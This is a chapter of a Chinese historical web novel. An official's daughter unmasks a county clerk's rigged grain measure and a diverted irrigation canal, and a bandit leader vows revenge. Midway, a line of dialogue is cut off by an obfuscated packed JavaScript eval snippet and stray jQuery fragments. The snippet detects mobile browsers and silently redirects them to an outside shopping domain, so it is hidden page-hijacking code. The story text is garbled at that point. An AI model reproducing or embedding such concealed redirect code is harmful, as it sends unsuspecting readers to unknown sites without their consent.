次日清晨,一行人离了那处废弃烽堠,继续往安塞县城去。
这一路倒比黑风峡平缓许多,官道两侧的沟壑渐渐低伏下去,取而代之的是一片接一片收割后残留着枯茬的旱田。田里没有半点生机,只剩那些被镰刀割得参差不齐的糜谷根子,像一片片倒竖的黄色短箭,从龟裂的地皮里刺出来,密密麻麻地铺向天边。车轮碾过浮土,扬起半人高的黄尘,久久不散。沈知微掀开车帘一角往外看,见远处坡地上有几户人家,土墙坍塌了半面,屋顶的茅草被风掀走了大半,露出黑黢黢的梁木,像一具具被剥了皮的兽骨,静静地趴在这片被荒年啃噬殆尽的土地上。
行至晌午,远远便望见了安塞县城。城墙不算高峻,却也齐整,砖石间的灰泥嵌得极匀,城头那面“安塞县”三字的匾额漆色犹新,显是新近修葺过的。守城差役远远见了道台仪仗,先是怔了一瞬,随即忙不迭飞奔入城通禀。不过一盏茶的工夫,崔文耀已亲自迎出城门外。他今日穿了件半旧的绿色七品官袍,补子上的鸂鶒随着他急急走来的步子一耸一耸,像只被赶着上岸的水鸟。身后跟着一众衙役皂隶,仪仗倒比宜川那边齐整周全得多,十几个人分列两排,腰板挺得笔直,连刀鞘都擦得发亮。
“道尊,姑娘,一路辛苦!”崔文耀快步上前,脸上堆着热络的笑。他那张素日红润的圆脸此刻却隐隐透着一层不自然的白,额角沁着细密的汗珠,被日头一照,亮晶晶的一层,也不知是走得急了,还是别的什么缘故。他一面引着众人往城里走,一面絮絮地说着黑风峡遇袭之事:“下官昨夜听闻道尊遇险,惊出一身冷汗,已即刻着人加派巡哨,务必将那伙贼寇余党缉拿归案,还请道尊放心!”
他话说得殷勤周到,语速比往常快了许多,那声音像一挂被风扯得乱响的旧帘子,怎么也压不平。说话间,那双眼睛却时不时飘向沈知微身后押解石彪、狗剩等人的队伍,飞快地闪过一丝不易察觉的局促。那局促极短,短得连他自己都未必察觉,却没能逃过沈知微的眼睛。她不动声色地跟在父亲身后,将崔文耀今日的每一个神色都收进了心底。
县衙二堂的陈设倒比宜川那边讲究不少。博古架上摆着几件瓷器古玩,虽不是什么名贵物件,却件件擦得光可鉴人,连那青瓷瓶上极细的冰裂纹都看得一清二楚。案头一盆晚菊开得正好,金黄的花瓣层层叠叠,在从窗格漏进来的日头底下,像一小团被托在案上的金丝球。这般光景,与她记挂着的王家湾那几十户人家的困顿,恰成刺目的对照。
“崔知县。”沈敬修待茶盏奉上,也不寒暄,径直开门见山。他的声音不大,却像一块石头直直沉进这满室茶香里,把那股子刻意维持的松快气氛压得粉碎,“本道此番来安塞,一为查访以工代赈实效。二则,接到一桩状告。王家湾数十户人家,凿渠一个多月,发放的粮米却屡屡短斤少两。又闻新修的水渠,竟绕过了王家湾旧渠,径直引到了城郊孙员外的地头上。此事,崔知县可知情?”
崔文耀端着茶盏的手猛地一抖。那茶盏是极薄的青瓷,里头的茶水本就不满,这一抖,几滴茶汤从盏沿溅了出来,正落在他那件绿袍的前襟上,洇出几个深色的小点。他慌忙将茶盏放下,嘴唇翕动了几下,才勉强扯出一个比哭还难看的笑:“这……这个……道尊明鉴,下官政务繁杂,各乡凿渠之事,俱是委了主簿与户房书办具体经办。下官委实……委实不曾细察。”
“不曾细察”四个字,他说得又轻又滑,像一条从指缝间溜走的鱼。沈敬修的脸色已经沉了下来,像一潭被投了石子的水,表面的平静正在迅速碎裂:“崔知县身为一县之主,境内水利民生,如何能说一句‘不曾细察’便可轻轻揭过?”
崔文耀额上的汗更密了,他抬起袖子去擦,那袖子也是半旧的,在日头下透出几处磨得稀薄的地方。他擦了又擦,汗却像怎么都擦不干净似的,渗得他整张脸都泛着一层油光。“道尊教训得是。”他弓着身子,声音里已带了几分颤,“是下官失察之过,下官这便亲自去查。”
一行人未及歇脚,便又转往王家湾。
这村子坐落在城外七八里一处缓坡之下,零星的几十户人家,土墙茅顶,从远处看,像是一把撒在黄土地上又半沉进去的灰黄色石子。沈知微在村口下了车,一眼便瞧见了那条旧渠。渠身干裂,渠底积着经年的浮土,几丛枯黄的杂草从裂缝里倔强地钻出来,被风一吹,瑟瑟地抖。那渠像一道被遗弃多年的旧伤,从村口一直延伸到田垄深处,两旁的草长得比渠沿还高。倒是绕村而过、通往城郊方向的另一道新渠,渠壁夯土犹新,颜色比周围的土地深出许多,像一条新缝上去的补丁。渠水潺潺地流着,清亮亮地打着旋,一路蜿蜒往孙家那片阡陌纵横、透着几分殷实气象的田庄去。两渠相隔不过数十步,一枯一荣,对比之惨然,不必多言。
赵满听闻道台亲至,早已候在村口。他身后跟着几十位面带菜色的乡邻,有抱着孩子的妇人,有拄着拐杖的老人,也有光着脚、裤管卷到膝盖上面的半大后生。他们的衣裳大多补丁摞补丁,颜色早已辨不出来,像一片立在被风刮得乱颤的灰旗。见沈知微一行人走近,赵满那双昏花的老眼里骤然迸出几分又惊又喜的光,颤巍巍就要带着众人下跪,被沈知微上前两步,一把扶住了胳膊。
“老丈快别这样。”她低声说,手有力地托着赵满的胳膊,没让他跪下去。
“道尊,姑娘。”赵满声音哽咽,枯瘦的手指抬起来,遥遥指向那道干渠,指尖在风里抖得厉害,“这便是俺们王家湾三年不曾见水的老渠。前月说是要凿渠以工代赈,俺们几十户,男女老少能下力气的全上了工地,起早贪黑挖了小一个月。谁承想……谁承想渠挖出来,水却往城边孙员外家去了!”
他说到“孙员外”三字时,身后人群里有人极低极低地“呸”了一声,又赶紧憋了回去。沈知微看见了那个“呸”的人,是个面色黧黑的中年汉子,半张脸被乱发遮着,只露出一双熬得通红的眼睛。那双眼里的神色,让她心口像被什么钝钝地杵了一下。
一名管着此段工程的差役被唤来问话。那差役三十来岁,生得獐头鼠目,被带到沈敬修面前时,两条腿先自软了,嘴里支支吾吾,翻来覆去只说“小的只是照图施工,旁的什么也不知道”。沈敬修一声厉喝,吓得他一屁股坐倒在地。韩把总又适时地往前迈了半步,手按刀柄,刀鞘磕在甲片上,发出“铛”的一声脆响。那差役浑身一哆嗦,终于扛不住,竹筒倒豆子似的全招了。
原是户房书办侯有德暗中授意。说孙员外与知县相熟,这渠若能引到孙家地头,工程验收时“自有好处”。侯有德遂命人将渠道图纸悄悄改了走向,王家湾这头,只做了个样子,应付了事。那差役说着说着,自己先哭了,拿手背胡乱抹着脸,混着涕泪和尘土,把半张脸抹得泥一道泪一道。
沈知微没有再看他。她转身,走到那道干渠边,慢慢蹲了下去。渠底的土块干得发白,一碰便碎。她的指尖极轻极轻地抚过那些纵横交错的裂纹,像在触摸一道被时间遗忘得太久的伤。然后她抬起头,望向不远处孙家那片绿意犹存的田庄。那田里的庄稼已经收过了,但地畦整整齐齐,田埂上还种着几排秋菜,水灵灵的,绿得发亮。和这边满眼的枯黄一比,像两个世界。她慢慢站起身来,拍了拍裙摆上的土,声音清冷:“父亲,渠道之事,人证物证俱在,已是分明。倒是那短斤少两的粮米,还需回城,当面查验。”
回到县衙,沈知微径直提出,要亲眼看一回发粮量米的实际章程。
侯有德闻讯匆匆赶来。他是个年约四十许、身形干瘦的胥吏,穿一件洗得发白的灰布袍子,腰带松垮垮地系着,像是临时从什么地方被拽起来的。一双三角眼透着精明算计,眼珠子转得极快,从沈敬修脸上转到沈知微脸上,又转回沈敬修脸上,像在飞快地估量着今日这阵仗的分量。他见了沈敬修先是恭谨行礼,待瞥见沈知微立在一旁,那眼神便悄然一变,添了几分不易察觉的轻慢。他久在户房经手钱粮,什么样的官员没打过交道,却还从未把一个年轻女子的话真正放在心上过。
“回道尊的话。”侯有德躬身答道,语气里却带着几分自恃老于此道的从容,“发粮量米,俱是按祖制成法,一斗便是一斗,绝无克扣之理。想是乡野愚民不识斛面之法,平白生了误会。”
他说“乡野愚民”四个字时,嘴角极轻地往下撇了撇,那神情稍纵即逝,却让沈知微看得分明。她没急着开口,只静静地看着他,像看一个自以为藏得很好的把戏。
“侯书办说的‘斛面之法’。”她终于开口,语声平静,像是在说一件极寻常的事,“不知能否当面演示一回?”
侯有德眼底闪过一丝轻蔑。那轻蔑落得极快,像一片从眼前飘过的灰,却实实在在落进了在场每一个人的眼里。他的语气里已带上几分不加掩饰的敷衍:“姑娘许是不惯见这些粗活计。量米发粮,不过是差役们的寻常营生,姑娘不必费心过问。且容下官向道尊回话便是。”
这话看似恭敬,实则想绕过她,径直去说服沈敬修了事。在他想来,一个官家女儿,纵有几分小聪明,又哪里懂得这仓廪斛斗之间的门道?沈敬修眉头微蹙,正要开口,沈知微却已抬手轻轻止住了他。她的唇边甚至浮起一丝浅淡的笑意,那笑意极轻,像水面上的光,一闪即逝,却让侯有德心里没来由地一突。
“侯书办既说这是寻常营生,想必演示一回,也费不了多少工夫。”她的目光从侯有德脸上慢慢滑过,又转向父亲,“父亲,不妨就依侯书办所言,请他当面量一斗米。我们且看看。”
侯有德一时语塞。话已说到这个份上,他若再推,反倒显得心虚。他咬了咬牙,只得命人抬来一具官斛,又搬来一袋新米,就在院中演示起来。那官斛是枣木打的,四壁被摸得油光发亮,像一具用了许多年的旧乐器。他执着木锨,将米一锨一锨地舀入斛中。他的动作极熟练,每一锨都恰到好处,米粒在半空中扬起来,又簌簌落进斛里,堆得尖尖冒出斛口。那米堆在日头下白得晃眼,像一捧被捧到众人面前的雪。
“诸位请看。”侯有德将木锨一放,抬脚,看似不经意地在斛身上轻轻一磕一踢。那动作极快极轻,若不是沈知微早就在盯着,几乎看不出他鞋底在斛腿上借了力道。斛身极轻地一颤,堆尖的米粒便簌簌震落下来,散在斛底四周垫着的一方粗布上。他这才取过一根木杆,平平地在斛口刮过去,将剩下的米面抹得整整齐齐,然后直起身,面带得色地一摊手:“这便是一斗,分毫不差。”
沈知微一直没有说话。她的目光始终落在那具官斛之上,看侯有德如何堆尖,如何踢斛,如何刮平,眼神像一柄极细的刀,将这每一个动作都拆开来,又合拢去。这些动作连在一起,便是一套极熟极巧的戏法。史册里管这手叫“淋尖踢斛”。淋尖时故意堆得过高,看似慷慨,实则那一脚震落下去的部分,才是真正克扣的所在。寻常百姓眼见“淋了尖”,只当是量得足了,谁也不会去计较那震落在布上的米粒究竟去了哪里。
“侯书办这一斛,量得倒是齐整。”她不疾不徐地开了口。侯有德脸上的笑还没来得及绽开,便听她又接了一句,“只是方才那一脚,倒似比寻常重了几分。”
她的目光转向那具官斛,像在打量一件极有趣的东西:“民女斗胆,可否借这斛一观?”
侯有德的脸色变了。那变极快,像一张被水泼上去的纸,从额角开始,刷地一下便灰了。他张了张嘴,喉咙里滚出一个极短的“这”字,又没了下文。沈知微不等他应声,已走上前去,双手将那具官斛托了起来。那官斛入手极沉,比寻常木器该有的分量重了许多。她的手指极轻极轻地拂过斛底,触感温凉,木纹细腻。她又曲起指节,在斛壁四周极轻极轻地叩了叩。声响清脆均匀,像敲在一口极小极好的木鱼上,唯独斛底一处,叩击之下,竟隐隐透出一丝空洞的闷响,与旁处截然不同。
她的动作极慢,慢得让满院子的人都不由自主地屏住了呼吸。日光从她身后照过来,将她的影子投在那具官斛上,像一幅被定住了的画。
“父亲。”她转过身来,将那官斛轻轻放在案上。她的声音里没有得意,甚至没有怒意,只有一种极沉极静的笃定,“这斛底,恐怕做了手脚。”
沈敬修脸色一沉,当即命随行护卫取来锯凿,当众开验。那锯子咬进木头里,发出“咯吱咯吱”的响,碎木屑纷纷扬扬地落下来,像一层淡黄色的雪。斛底被锯开时,果然露出了一层薄薄的夹板。掀开夹板,下头竟别有一处浅浅暗格,积着经年的陈米,有些已经发了霉,结成一小块一小块的灰绿色硬壳,散发着一股子陈腐的酸气。那暗格设计得极巧,恰在斛底内壁的弧度里,寻常人便是细看,也绝难察觉。
院中霎时一片死寂。那死寂极重,像一整块铁,把满院子的人都压在了原地。几个平日里跟着侯有德做事的差役,脸色一个比一个白,有人的腿肚子在肉眼可见地打摆。侯有德的脸色已经不能再用白来形容了,那是一种极难看的青灰色,像一具刚从水底捞上来的尸首。他方才那点老于世故的从容,此刻已荡然无存,双腿一软,竟直挺挺地跪倒在地,膝盖磕在青石板上的声音又闷又响。他连连叩首,额头撞在地上,砰砰作响,口中翻来覆去只有一句:“道尊饶命!道尊饶命!小的知罪!小的知罪!”
沈知微望着他。望着这个方才还在教她“不必费心过问”的胥吏,此刻匍匐在地上,像一条被抽去了骨头的虫。她慢慢走到案前,将那具开了暗格的官斛轻轻一推,让它正对着侯有德。
“侯书办方才说。”她的声音很轻,轻得几乎要被风一吹便散,“这不过是寻常营生。”
侯有德浑身一颤,将脸贴在地上,再不敢抬头。
侯有德克扣之罪,人证物证俱全,当即被革去户房差事,收押待审。所克扣米粮,着令追赔,悉数发还王家湾等受损各村。这一处了结得干脆利落,像从一根烂木上砍去了一截最显眼的蛀枝。倒是崔文耀这边如何处置,颇费思量。他虽未曾亲手作奸,却难辞失察纵容之责。渠道改向、书办舞弊,他这一县之主,竟浑然不知,或是佯作不知。这两者之间的分寸,沈知微清楚,父亲也清楚。
暮色四合。二堂内掌了灯,烛火摇摇晃晃,将人影子投在墙上,一会儿长一会儿短。崔文耀独自坐在堂下,褪去了白日里那副殷勤周全的做派,只余一脸灰败。他这人生得面白微胖,往日里总带着点养尊处优的富态,此刻那富态像被谁用刀刮走了一层,整个人都显得干瘪起来。他低着头,两只手交叠着放在膝上,十根手指不停地绞来绞去,像是要把自己的指头一根根掰下来。
沈敬修端坐堂上,久久未语。那沉默像一块越涨越高的水,把满堂都淹得死死的。崔文耀的额角又渗出汗来,那汗顺着他的鬓角往下淌,滴在他的绿袍前襟上,滴在他交叠的手背上。他不敢去擦。
“崔知县
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890983|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”沈敬修终于开口,语气沉沉的,像一块被磨了太久的旧铁,“本道且问你。你可知王家湾这一渠之隔,枯荣两重天。多少户人家,今冬便要因这一渠之差,雪上加霜?”
崔文耀的肩头开始极轻极轻地抖。他伏下身去,额头触在冰凉的青砖地上,过了好半晌,才哑声道:“下官知罪。下官这些年,只图个‘不出错’三字。凡事但求息事宁人,竟不知,这‘不管’二字,也是天大的错处。”
他说着,声音竟有些哽住了。他仍伏在地上,并不抬头,那声音从地砖上返上来,带着一种极真切的闷:“道尊明鉴,下官在这安塞任上五年,原也不是全然尸位素餐。只是这几年年年报灾,年年上头核批的赈粮总是不足所需。下官几次三番具文申请加拨,俱是石沉大海。下官思来想去,倒不如息事宁人,少给自己惹祸。谁知……谁知竟纵出了这样的祸事。”
这番话,倒有几分不加粉饰的真心。沈知微坐在父亲身侧,借着烛光,看见崔文耀伏在地上的那一小片背影,单薄而瑟缩。她心底那点纯然的怒意,渐渐掺进了几分复杂的了然。崔文耀不是穷凶极恶之辈。他只是一条在浑水里游了太久的鱼,早已经忘了水有多脏。他的“错”,不是他一个人的错,却又实实在在压在了他一个人的肩上。
“崔知县。”她开口,语气比方才缓和了几分。她的声音不高,却在这满堂沉闷里,像一根细细的、穿过水面的光,“知过能改,尚可自新。渠道之事,不必拆了孙家这道新渠。只需另行拨款,将旧渠一并修复贯通,使两村引水皆能兼顾即可。孙员外既受此渠水之利,理当依着劝分成例,量力资助修渠工费。想来他也不会不识时务。”
她顿了顿,目光转向堂上的父亲,又转回来,落在崔文耀低伏的背上:“至于崔知县失察之责,家父自当据实记录在案。此后安塞一县用工核账,还需每旬另呈道署核验。若能勤勉任事,补过自新,这一笔,权且记下,容后再看。”
沈敬修望着女儿,又望了望伏地未起的崔文耀。烛火在他脸上跳动,将那些被岁月和政务刻出来的纹路映得极深。他忽然发现,女儿处理这些事时,已经越来越像一个真正的当家人了。她拿捏得住分寸,也狠得下心肠,更难得的是,她还给这个犯了错的县令留了一条回头路。这条路不宽,却足以让崔文耀在往后的日子里,想起今日这满堂烛火时,生出几分真心实意的敬畏来。
“便依知微所言。”沈敬修终于开口,声音里带着几分历经周折后的疲惫,也带着几分不易察觉的欣慰,“崔知县,本道且信你一回。往后安塞境内,若再出这般纵容失察之事,本道绝不轻饶。”
崔文耀重重叩首。他直起身来时,额上已经青了一小片,那上面沾着灰,也沾着泪。他用力吸了一下鼻子,声音里满是劫后余生的郑重:“下官谢道尊、谢姑娘不弃之恩。往后必当勤勉任事,绝不敢再有半分懈怠!”
数日后,王家湾旧渠动工修复的消息传开来。赵满带着阖村老小,又一次跪在村口官道上相送。这一回,沈知微没有再出言阻拦。她就站在车前,望着那满村人齐刷刷地伏下身去,额头触在深秋的黄土地上,发出闷闷的声响。那声音不响,却像极重极重地砸在了人心口上,比任何欢呼和颂扬都更教人动容。
归途中,沈知微望着车窗外渐次远去的村落。日头已经西斜,将那些土墙茅顶的屋舍都染成了一种温温吞吞的暗金色。她看了很久,才轻声对父亲道:“父亲,崔知县这样的人,天下州县里,只怕不在少数。不贪不占,却也不肯多做一分。这样的‘不错’,有时候比贪墨更磨人心力。”
沈敬修默然良久。他靠在车壁上,闭着眼,像在把女儿这句话翻来覆去地咀嚼。过了好一会儿,他才低声道:“知微今日这一手恩威并施,倒比为父想的周全。只是……”他睁开眼,望着女儿,眼底忧色未散,“这般查一处、清一处,天下九县,乃至一省数省,几时才查得完?”
沈知微没有立刻回答。她的目光仍望着窗外,望着那片被暮色一点点吞没的黄土高坡。这个问题,她心底何尝不是日夜盘桓。个案能查清,弊政却难根除。唯有立起章程,立起监核之制,方能少几分依赖“崔知县”们的良心,多几分不容轻易懈怠的约束。这条路,才刚刚开始。
“所以,才要立规矩。”她终于说。声音很轻,像说给自己听,“立一个,不靠良心,也能让人把事办好的规矩。”
深山营寨,寒夜彻骨。
风从北边山梁上猛扑下来,像一只被冻疯了的巨手,把营寨里那几堆篝火压得伏在地上,又忽地揪起来。火舌狂舞,将寨中那些窝棚和晃动人影,映得像一群在黑暗里挣扎的兽。王二坐在自己那顶窝棚外头,面前拢着一小堆将灭未灭的火,手里捏着块已经啃了一半的干饼,却像忘了吃。那柄惯常擦拭的腰刀搁在他脚边,刀身上的缺口在火光里一闪,像一道永远合不拢的嘴。
一道踉跄的身影,从寨门外深一脚浅一脚地摸进来。那人身上血污与泥灰混作一片,衣衫破得一条一条地挂在身上,脸上青一块紫一块,嘴唇干裂得翻起白皮。他几乎是一头栽进寨门的,守门的汉子认出他来,惊叫一声,忙上前架住。他却像抓住了救命稻草似的,挣着最后那点力气,嘶声喊:“头儿……头儿……”
王二霍地站了起来。干饼从他手里滚落,掉进火堆里,腾起一小串火星子。他大步走过去,一把揪住那散卒的领子,将他提得双脚几乎离了地:“人呢?其他人呢?”
那散卒浑身抖得像风中的枯草。他张着嘴,喉咙里发出极难听的嗬嗬声,像有什么东西卡在嗓子眼里,过了好一会儿,才断断续续挤出一句:“头儿……全完了……赵大哥他们……冲上去的十几个弟兄,死的死,被绑的被绑……官军的护卫,忒厉害了……俺,俺是从死人堆里爬出来的……”
王二的手慢慢松开了。那散卒滑坐在地,像一摊被抽去了骨头的泥。四周有人围拢过来,火把的光将他们的脸映得明明灭灭,有恐惧,有茫然,有压不住的窃窃私语。王二立在那里,火光从他身后照过来,将他的影子拉得又长又重,像一尊被钉在黑夜里的石像。他的胸口极慢极慢地起伏着,像有什么东西正从那里头,一点一点地,涨起来。
“石彪呢?”他忽然问。声音很轻,轻得周围的人齐齐一静。
那散卒浑身一颤,抬起头来,满脸是泪,嘴唇抖了半晌,才带着哭腔道:“被……被绑走了……听说,是延安那位沈道台的车驾……”
帐外忽然起了一阵风。那风极冷,像从北边的冰川上直直刮下来的,将寨中所有的火都吹得齐齐一矮。王二立在风里,脸上的旧疤在火光与暗影之间一跳。他闭上眼,那张常年紧绷、写满警惕的脸上,第一次浮现出一种混杂着愤怒、悔恨与茫然的复杂神色。那神色太重了,重得连他这样的汉子,肩头都止不住地往下沉了沉。
良久,他睁开眼,望向帐外沉沉夜色,望向延安府城所在的方向。那里太远了,远得只在想象里剩下一个模糊的轮廓。可他的目光却像能穿透这重重山岭,一路望到那面城墙下去。
“沈敬修。”他低低念出这三个字。声音哑而沉,像从地底最深最冷的地方传上来的。那里面没有咆哮,没有嘶吼,只有一种被千刀万剐之后,重新淬了火、磨了刃的冷。
“沈道台。”
风又起,将那几个字卷得四散,像撒进夜里的几粒火星,倏忽便灭了。